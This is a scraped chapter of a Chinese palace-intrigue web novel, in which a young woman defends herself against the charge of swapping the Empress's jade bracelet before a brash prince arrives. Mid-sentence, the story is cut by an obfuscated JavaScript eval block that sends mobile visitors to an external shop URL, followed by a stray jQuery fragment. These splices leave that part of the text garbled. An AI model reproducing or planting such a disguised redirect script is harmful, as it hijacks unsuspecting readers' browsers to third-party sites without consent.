文趣网 > 都市小说 > 锁春痕 > 11. 衡王
    褚玉质笔直站在原地,越是遇到了事,她越是强迫自己冷静下来。这是皇后珍藏多年的玉镯,现在人人皆知这玉镯是皇后欲赠送给未来太子妃的。前两日皇后身边的赵姑姑亲自来传话,说是皇后要拿回自己的玉镯转赠她人。褚玉质心里还松了口气,这意味着婚约取消,太子妃之位另有人选,便将镯子当场还了回去,可不想近日传来消息说这镯子是假的。

    褚玉质眼睛定定地看向了此刻已经面无表情的惠儿身上,她悄无声息的站在屏风旁边,似乎是一再压低自己的存在。

    “齐姑姑,可否在偏殿外等候我片刻,我更衣后便和姑姑同去椒房殿。”

    褚玉质不动声色地将目光移了回来,依旧换上一副端庄持重的样子。眼见着齐葳点头退下,片殿内又只剩下自己和惠儿两人。

    偏殿中除了自己和惠儿无人进入,就连宋清罗也借着照顾太子的由头搬到了椒房殿的偏殿。能动自己梳妆台的除了自己,就是惠儿。她并非为了钱财铤而走险的人,若是掉包了镯子,必然是受人指使。褚玉质心下觉得好笑,仿若自己站在四面透风的围墙之中,谁也相信不得。

    褚玉质一步一步靠近惠儿,惠儿只低着头也不躲闪。

    “是高阳公主叫你这样做的?”褚玉质开门见山发问道。

    “是。”惠儿声音很低。

    “我暂且不问原因,可若是高阳公主想让我为她所用,就同我出面解决了此事,你现在就去请她。”褚玉质从未这样一阵见血不留情面的下命令,惠儿自知褚玉质依然动怒,便一溜烟地跑了出去。

    --

    褚玉质被几个姑姑引到了椒房殿,一进殿门,自觉得药气扑鼻,殿中熬煮、熏染的无一例外是一些驱邪的草药。果不其然,太子徐崇煜正坐在这袅袅升起的药气之中,看来是刚醒不久,脸上煞白没有血色。一旁地宋清罗正幽怨地盯着自己,仿佛是褚玉质抢了她的稀世宝贝一般。

    正中间的凤椅上端坐着萧皇后。

    “臣女参见皇后娘娘,太子殿下。”

    褚玉质跪在地上行礼,却久久不曾等来让她平身的声音。

    许久的静默之后,才是萧皇后慢慢放下茶盏,面无表情地开口:

    “齐尚服,你来说说褚家的小姐犯了几条罪。”

    齐葳是受萧皇后提拔的女官之一,几句话便言明褚玉质所犯的几条“大罪”,说来说去也不过是说褚玉质还的镯子是假的,故怀疑褚玉质妄图转移宫中财产,以中饱私囊,还句句离不开褚家想要借此贪敛财务。

    褚玉质一听便知,什么镯不镯子的,皇后一党或许根本不在乎,把这脏水泼到褚家身上才是真,毕竟褚白知道萧家罪状,是他们的眼中钉肉中刺。

    褚玉质不知惠儿和高阳公主请到了哪里,便下定决心和她们兜圈子拖时间。毕竟自己交出去的镯子确实是假的,真镯子怕是早已成了高阳公主的掌中之物。任自己如何巧舌如簧也不能将这假的说成真的。

    “皇后娘娘,齐姑姑。”褚玉质跪直身体道:“这镯子是我当着赵姑姑的面亲手给的,赵姑姑也开盒验过,不知何来假的一说。”

    “哼,你欺负赵姑姑老眼昏花,故意用假翡翠冒充,妄想瞒天过海。将这价值连城的镯子转移到褚家,简直其心可诛!”

    宋清罗不由上前一步,对着褚玉质颐指气使,她最是关心镯子下落的人,毕竟她已经是皇后属意的准太子妃,稀世罕有的宝贝就这么不翼而飞,她比谁都心焦。

    “你说这话可有证据?若是觉得我从中作梗为褚家中饱私囊,大可向陛下要了搜查令,把我褚家上下搜查一番,若是没有这不义之财,你便是欲加之罪,何患无辞。”

    褚玉质虽跪在地上,却不妨碍她字字掷地有声,不管假镯子事出何因,都不能让此事连累褚家。

    “你!”宋清罗气得眼眶发红,见褚玉质包子惯了,这样呛声,宋清罗气得不轻。

    “褚妹妹,”徐崇煜缓缓开口,亲昵的一声让褚玉质心里一阵寒战。

    “我知陡然退婚让你心中不快,不过这也是为了朝局着想,并非我一己私情可以决定。”徐崇煜站起身仿若语重心长的模样,似下了重大决心般开口:“待清罗妹妹正式封为太子妃后,我还可以把你纳为侧妃。”

    呸!褚玉质在心中暗暗啐在他脸上一口,面上却是不动声色的将眼睛瞥到正前方,只对着萧皇后说道:“娘娘,调换玉镯此事并非臣女所为,且玉镯虽假,但一定也是用上好的翡翠打制,不然不可能让赵姑姑也看走了眼。”

    齐葳见萧皇后沉默不语,便略有所思的开口:“确实如此,假玉镯也是用翡翠所制。”

    “既然是上好的翡翠,必然价值不菲,臣女一来并无财力买下翡翠,二来即便臣女真有钱买下翡翠玉镯,何苦冒着死罪用真翡翠打成镯子鱼目混珠,若真是为了贪敛钱财,这岂不是多此一举。单着两条,臣女便无以假乱真的动机。”

    褚玉质极力撇清和假镯子的关系,此事既然是高阳公主所为,那便让她们互相掰扯便是,等到惠儿请来高阳公主,自己自然会全身而退。

    听过褚玉质的话,宋清罗脸上满是不忿,其实皇后一党皆知褚玉质不会犯下这等蠢事,然而眼睁睁看着褚玉质得了高阳公主的庇护一路成为掌书侍卿,她们怎样都要让这脏水沾沾她的身子。

    “既然不是你,那你倒是说说这个人是谁?”萧皇后眼里闪过一丝狠厉:“或许不是你做的,但你不可能不知情。”萧皇后似乎想从褚玉质口中听到那个让人心知肚明的幕后主使。

    褚玉质却不上套,只说事关重大,自己绝不敢串通贼人。随后便是在心中默默算着高阳公主和惠儿的脚程,这会子应该赶到了。

    褚玉质算得不错,门口处传来了婢女脚步匆忙地通禀,可是还没等婢女神色慌张地开口,大殿中的诸人便听得门外一声高亢又响亮的男声:

    “本王只是拿回属于自己的东西,难道在皇后娘娘这里,居然是偷?”

    众人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941852|213938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    皆向门口看去,只见大皇子徐崇涣一身锦袍金冠,旁若无人的踏进寝殿之内,身后的惠儿低头跟在身后。褚玉质对这个衡王印象极差,在宫中欺男霸女,在封地也横征暴敛,实在不是一个善茬。此时的徐崇涣不到弱冠的年纪,眉宇间却也是挡不住的戾气。

    褚玉质本以为此次再见到这位十年后屠戮宫闱的罪魁祸首,心中总会不安,然而当她看到徐崇涣这般招摇轻浮的样子,这样的担忧霎时荡然无存。

    “儿臣参见皇后娘娘。”徐崇涣嘴上问着安,两腿却懒散地向前迈着步子,双手背在身后,一副吊儿郎当闲庭信步的姿态。

    萧皇后更是气得皱起眉头,徐崇涣和徐致月都是她嫁给徐现之前由先王妃所生,短命王妃没有等到徐现称帝便早早仙逝,于是徐现将高阳公主给了自己抚养,而大皇子则由徐现亲自教养,直到何少君进宫成了何贵妃,才承担起抚养大皇子徐崇涣的责任。

    不过这兄妹二人不管是被谁养育,都是和萧皇后不对付,此时大皇子来此,二人更是冤家聚头。

    “大哥这般踏进母后寝殿,似乎于礼不合吧。”徐崇煜撑着扶手站起身子,想压住徐崇涣的狂放态度,然而瘦弱的身形在人高马大的徐崇涣面前更显得单薄。

    “那又如何?萧娘娘可是后宫之主,气量不是世间普通妇人可比,”徐崇涣一脸无谓,还顺手捻起案几果盘中的葡萄吃起来,口中含混不清的继续道:“难道还能在意这点礼数不成?”

    真是个肆无忌惮的主儿,褚玉质跪在一旁暗道。

    萧皇后彻底忍无可忍,她提高声音,字字清晰:“徐崇涣,你已年近弱冠,这般贸然踏入本宫内殿,出言不逊,举止不端,纵本宫再有气量,也绝不能容!”

    大殿因萧皇后的震怒安静了片刻,随后徐崇涣竟放声哈哈大笑:

    “哈哈哈哈哈哈……”

    萧皇后和徐崇煜听了这笑声,脸色更是阴沉起来,徐崇涣也不急,只是朗声开口。

    “萧娘娘您息怒,我又不是有意擅闯,”徐崇涣将脑袋一侧,看向了在一边安静跪着的褚玉质:“我此次可是来帮着褚姑娘说说好话的。”

    随后他将脸压近褚玉质身侧,褚玉质不禁看着他默默移开一些距离。然而正是这一看竟让徐崇涣眼中泛起桃花:“呦,以前怎么不见,这褚姑娘还是位小美人儿。”

    随后桃花荡漾的脸上又是一变,抬头指着徐崇煜身后的宋清罗颇有些嫌弃的意味道:“比那个尖嘴猴腮的好看多了。”

    宋清罗被突如其来的羞辱弄得不知所措,脸上青一阵白一阵。

    “你放肆!咳……”徐崇煜看到衡王这样不知轻重的羞辱,瞬间急火攻心。

    “太子哥哥!”

    “煜儿!”

    下人赶紧七手八脚地为徐崇煜顺气递茶,扶着他坐下。

    徐崇涣见状噗嗤一笑,随后在萧皇后几人愤恨的眼神里一把抓起褚玉质的手腕。

    “小美人儿,和我走吧。”